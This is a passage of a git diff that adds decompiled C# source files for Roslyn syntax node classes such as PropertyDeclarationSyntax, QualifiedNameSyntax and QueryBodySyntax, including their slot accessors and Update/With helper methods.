visitor.VisitPrimaryConstructorBaseType(this); + } + + public PrimaryConstructorBaseTypeSyntax Update(TypeSyntax type, ArgumentListSyntax argumentList) + { + if (type != Type || argumentList != ArgumentList) + { + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax = SyntaxFactory.PrimaryConstructorBaseType(type, argumentList); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return primaryConstructorBaseTypeSyntax; + } + return primaryConstructorBaseTypeSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override BaseTypeSyntax WithTypeCore(TypeSyntax type) + { + return WithType(type); + } + + public new PrimaryConstructorBaseTypeSyntax WithType(TypeSyntax type) + { + return Update(type, ArgumentList); + } + + public PrimaryConstructorBaseTypeSyntax WithArgumentList(ArgumentListSyntax argumentList) + { + return Update(Type, argumentList); + } + + public PrimaryConstructorBaseTypeSyntax AddArgumentListArguments(params ArgumentSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithArgumentList(ArgumentList.WithArguments(ArgumentList.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PropertyDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PropertyDeclarationSyntax.cs new file mode 100644 index 0000000..61e04a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PropertyDeclarationSyntax.cs @@ -0,0 +1,300 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class PropertyDeclarationSyntax : BasePropertyDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? type; + + private ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + private AccessorListSyntax? accessorList; + + private ArrowExpressionClauseSyntax? expressionBody; + + private EqualsValueClauseSyntax? initializer; + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("This member is obsolete.", true)] + public SyntaxToken Semicolon => SemicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 2); + + public override ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 3); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PropertyDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public override AccessorListSyntax? AccessorList => ((SyntaxNode)this).GetRed(ref accessorList, 5); + + public ArrowExpressionClauseSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 6); + + public EqualsValueClauseSyntax? Initializer => ((SyntaxNode)this).GetRed(ref initializer, 7); + + public SyntaxToken SemicolonToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PropertyDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(8), ((SyntaxNode)this).GetChildIndex(8)); + } + } + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("This member is obsolete.", true)] + public PropertyDeclarationSyntax WithSemicolon(SyntaxToken semicolon) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolon); + } + + internal PropertyDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref type, 2), + 3 => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 3), + 5 => ((SyntaxNode)this).GetRed(ref accessorList, 5), + 6 => ((SyntaxNode)this).GetRed(ref expressionBody, 6), + 7 => ((SyntaxNode)this).GetRed(ref initializer, 7), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => type, + 3 => explicitInterfaceSpecifier, + 5 => accessorList, + 6 => expressionBody, + 7 => initializer, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPropertyDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPropertyDeclaration(this); + } + + public PropertyDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, EqualsValueClauseSyntax? initializer, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || type != Type || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || identifier != Identifier || accessorList != AccessorList || expressionBody != ExpressionBody || initializer != Initializer || semicolonToken != SemicolonToken) + { + PropertyDeclarationSyntax propertyDeclarationSyntax = SyntaxFactory.PropertyDeclaration(attributeLists, modifiers, type, explicitInterfaceSpecifier, identifier, accessorList, expressionBody, initializer, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return propertyDeclarationSyntax; + } + return propertyDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new PropertyDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, Identifier, AccessorList, ExpressionBody, Initializer, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new PropertyDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Type, ExplicitInterfaceSpecifier, Identifier, AccessorList, ExpressionBody, Initializer, SemicolonToken); + } + + internal override BasePropertyDeclarationSyntax WithTypeCore(TypeSyntax type) + { + return WithType(type); + } + + public new PropertyDeclarationSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, type, ExplicitInterfaceSpecifier, Identifier, AccessorList, ExpressionBody, Initializer, SemicolonToken); + } + + internal override BasePropertyDeclarationSyntax WithExplicitInterfaceSpecifierCore(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier) + { + return WithExplicitInterfaceSpecifier(explicitInterfaceSpecifier); + } + + public new PropertyDeclarationSyntax WithExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, explicitInterfaceSpecifier, Identifier, AccessorList, ExpressionBody, Initializer, SemicolonToken); + } + + public PropertyDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, identifier, AccessorList, ExpressionBody, Initializer, SemicolonToken); + } + + internal override BasePropertyDeclarationSyntax WithAccessorListCore(AccessorListSyntax? accessorList) + { + return WithAccessorList(accessorList); + } + + public new PropertyDeclarationSyntax WithAccessorList(AccessorListSyntax? accessorList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, Identifier, accessorList, ExpressionBody, Initializer, SemicolonToken); + } + + public PropertyDeclarationSyntax WithExpressionBody(ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, Identifier, AccessorList, expressionBody, Initializer, SemicolonToken); + } + + public PropertyDeclarationSyntax WithInitializer(EqualsValueClauseSyntax? initializer) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, Identifier, AccessorList, ExpressionBody, initializer, SemicolonToken); + } + + public PropertyDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, Identifier, AccessorList, ExpressionBody, Initializer, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new PropertyDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new PropertyDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BasePropertyDeclarationSyntax AddAccessorListAccessorsCore(params AccessorDeclarationSyntax[] items) + { + return AddAccessorListAccessors(items); + } + + public new PropertyDeclarationSyntax AddAccessorListAccessors(params AccessorDeclarationSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + AccessorListSyntax accessorListSyntax = AccessorList ?? SyntaxFactory.AccessorList(); + return WithAccessorList(accessorListSyntax.WithAccessors(accessorListSyntax.Accessors.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PropertyPatternClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PropertyPatternClauseSyntax.cs new file mode 100644 index 0000000..cd82fdf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PropertyPatternClauseSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class PropertyPatternClauseSyntax : CSharpSyntaxNode +{ + private SyntaxNode? subpatterns; + + public SyntaxToken OpenBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PropertyPatternClauseSyntax)(object)((SyntaxNode)this).Green).openBraceToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Subpatterns + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref subpatterns, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PropertyPatternClauseSyntax)(object)((SyntaxNode)this).Green).closeBraceToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal PropertyPatternClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref subpatterns, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return subpatterns; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPropertyPatternClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPropertyPatternClause(this); + } + + public PropertyPatternClauseSyntax Update(SyntaxToken openBraceToken, SeparatedSyntaxList subpatterns, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken != OpenBraceToken || subpatterns != Subpatterns || closeBraceToken != CloseBraceToken) + { + PropertyPatternClauseSyntax propertyPatternClauseSyntax = SyntaxFactory.PropertyPatternClause(openBraceToken, subpatterns, closeBraceToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return propertyPatternClauseSyntax; + } + return propertyPatternClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public PropertyPatternClauseSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openBraceToken, Subpatterns, CloseBraceToken); + } + + public PropertyPatternClauseSyntax WithSubpatterns(SeparatedSyntaxList subpatterns) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBraceToken, subpatterns, CloseBraceToken); + } + + public PropertyPatternClauseSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBraceToken, Subpatterns, closeBraceToken); + } + + public PropertyPatternClauseSyntax AddSubpatterns(params SubpatternSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithSubpatterns(Subpatterns.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QualifiedCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QualifiedCrefSyntax.cs new file mode 100644 index 0000000..b50a1f2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QualifiedCrefSyntax.cs @@ -0,0 +1,87 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class QualifiedCrefSyntax : CrefSyntax +{ + private TypeSyntax? container; + + private MemberCrefSyntax? member; + + public TypeSyntax Container => ((SyntaxNode)this).GetRedAtZero(ref container); + + public SyntaxToken DotToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.QualifiedCrefSyntax)(object)((SyntaxNode)this).Green).dotToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public MemberCrefSyntax Member => ((SyntaxNode)this).GetRed(ref member, 2); + + internal QualifiedCrefSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref container), + 2 => ((SyntaxNode)this).GetRed(ref member, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => container, + 2 => member, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitQualifiedCref(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitQualifiedCref(this); + } + + public QualifiedCrefSyntax Update(TypeSyntax container, SyntaxToken dotToken, MemberCrefSyntax member) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (container != Container || dotToken != DotToken || member != Member) + { + QualifiedCrefSyntax qualifiedCrefSyntax = SyntaxFactory.QualifiedCref(container, dotToken, member); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return qualifiedCrefSyntax; + } + return qualifiedCrefSyntax.WithAnnotations(annotations); + } + return this; + } + + public QualifiedCrefSyntax WithContainer(TypeSyntax container) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(container, DotToken, Member); + } + + public QualifiedCrefSyntax WithDotToken(SyntaxToken dotToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Container, dotToken, Member); + } + + public QualifiedCrefSyntax WithMember(MemberCrefSyntax member) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Container, DotToken, member); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QualifiedNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QualifiedNameSyntax.cs new file mode 100644 index 0000000..e26dc4e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QualifiedNameSyntax.cs @@ -0,0 +1,97 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class QualifiedNameSyntax : NameSyntax +{ + private NameSyntax? left; + + private SimpleNameSyntax? right; + + public NameSyntax Left => ((SyntaxNode)this).GetRedAtZero(ref left); + + public SyntaxToken DotToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.QualifiedNameSyntax)(object)((SyntaxNode)this).Green).dotToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SimpleNameSyntax Right => ((SyntaxNode)this).GetRed(ref right, 2); + + internal override SimpleNameSyntax GetUnqualifiedName() + { + return Right; + } + + internal override string ErrorDisplayName() + { + return Left.ErrorDisplayName() + "." + Right.ErrorDisplayName(); + } + + internal QualifiedNameSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref left), + 2 => ((SyntaxNode)this).GetRed(ref right, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => left, + 2 => right, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitQualifiedName(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitQualifiedName(this); + } + + public QualifiedNameSyntax Update(NameSyntax left, SyntaxToken dotToken, SimpleNameSyntax right) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (left != Left || dotToken != DotToken || right != Right) + { + QualifiedNameSyntax qualifiedNameSyntax = SyntaxFactory.QualifiedName(left, dotToken, right); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return qualifiedNameSyntax; + } + return qualifiedNameSyntax.WithAnnotations(annotations); + } + return this; + } + + public QualifiedNameSyntax WithLeft(NameSyntax left) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(left, DotToken, Right); + } + + public QualifiedNameSyntax WithDotToken(SyntaxToken dotToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Left, dotToken, Right); + } + + public QualifiedNameSyntax WithRight(SimpleNameSyntax right) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Left, DotToken, right); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryBodySyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryBodySyntax.cs new file mode 100644 index 0000000..608157f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryBodySyntax.cs @@ -0,0 +1,100 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class QueryBodySyntax : CSharpSyntaxNode +{ + private SyntaxNode? clauses; + + private SelectOrGroupClauseSyntax? selectOrGroup; + + private QueryContinuationSyntax? continuation; + + public SyntaxList Clauses => new SyntaxList(((SyntaxNode)this).GetRed(ref clauses, 0)); + + public SelectOrGroupClauseSyntax SelectOrGroup => ((SyntaxNode)this).GetRed(ref selectOrGroup, 1); + + public QueryContinuationSyntax? Continuation => ((SyntaxNode)this).GetRed(ref continuation, 2); + + internal QueryBodySyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref clauses), + 1 => ((SyntaxNode)this).GetRed(ref selectOrGroup, 1), + 2 => ((SyntaxNode)this).GetRed(ref continuation, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => clauses, + 1 => selectOrGroup, + 2 => continuation, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitQueryBody(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitQueryBody(this); + } + + public QueryBodySyntax Update(SyntaxList clauses, SelectOrGroupClauseSyntax selectOrGroup, QueryContinuationSyntax? continuation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (clauses != Clauses || selectOrGroup != SelectOrGroup || continuation != Continuation) + { + QueryBodySyntax queryBodySyntax = SyntaxFactory.QueryBody(clauses, selectOrGroup, continuation); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return queryBodySyntax; + } + return queryBodySyntax.WithAnnotations(annotations); + } + return this; + } + + public QueryBodySyntax WithClauses(SyntaxList clauses) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(clauses, SelectOrGroup, Continuation); + } + + public QueryBodySyntax WithSelectOrGroup(SelectOrGroupClauseSyntax selectOrGroup) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(Clauses, selectOrGroup, Continuation); + } + + public QueryBodySyntax WithContinuation(QueryContinuationSyntax? continuation) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(Clauses, SelectOrGroup, continuation); + } + + public QueryBodySyntax AddClauses(params QueryClauseSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithClauses(Clauses.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryClauseSyntax.cs new file mode 100644 index 0000000..7c504e3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryClauseSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class QueryClauseSyntax : CSharpSyntaxNode +{ + internal QueryClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : 